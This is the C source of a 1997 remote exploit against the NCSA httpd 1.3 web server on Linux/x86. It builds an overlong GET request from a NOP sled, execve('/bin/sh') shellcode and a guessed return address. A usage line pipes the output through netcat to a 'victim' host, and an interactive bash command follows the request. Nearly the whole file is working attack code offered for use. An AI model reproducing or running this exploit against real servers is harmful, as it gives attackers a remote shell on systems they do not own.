/*
 * NCSA 1.3 Linux/intel remote xploit by savage@apostols.org 1997-April-23
 *
 * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore,EDevil and the rest of ToXyn !!!
 *
 * usage:
 *      $ (hackttpd 0; cat) | nc victim 143
 *                  |
 *                  +--> usually from -1000 to 1000 (try steeps of 100)
 */

#include <stdio.h>

unsigned char shell[] = {
'/',0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0xeb,0x27,0x5e,0x31,0xed,0x31,0xc9,0x31,0xc0,0x88,0x6e,6,0x89,0xf3,0x89,0x76,
0x24,0x89,0x6e,0x28,0x8d,0x6e,0x24,0x89,0xe9,0x8d,0x6e,0x28,0x89,0xea,0xb0,0x0b,
0xcd,0x80,0x31,0xdb,0x89,0xd8,0x40,0xcd,0x80,0xe8,0xd4,0xff,0xff,0xff,
'b','i','n','/','s','h'
};

char username[256+8];

void main(int argc, char *argv[]) {
        int i,a;
        long val;

        if(argc>1)
                a=atoi(argv[1]);
        else
                a=0;

        strcpy(username,shell);

        for(i=strlen(shell);i<sizeof(username);i++)
                username[i]=0x90; /* NOP */

        val = 0xbfff537c + 4 + a;

        i=sizeof(username)-4;
        {
                username[i+0] = val & 0x000000ff;
                username[i+1] = (val & 0x0000ff00) >> 8;
                username[i+2] = (val & 0x00ff0000) >> 16;
                username[i+3] = (val & 0xff000000) >> 24;
        }

        username[ sizeof(username) ] = 0;

        printf("GET %s\n/bin/bash -i 2>&1;\n", username);
}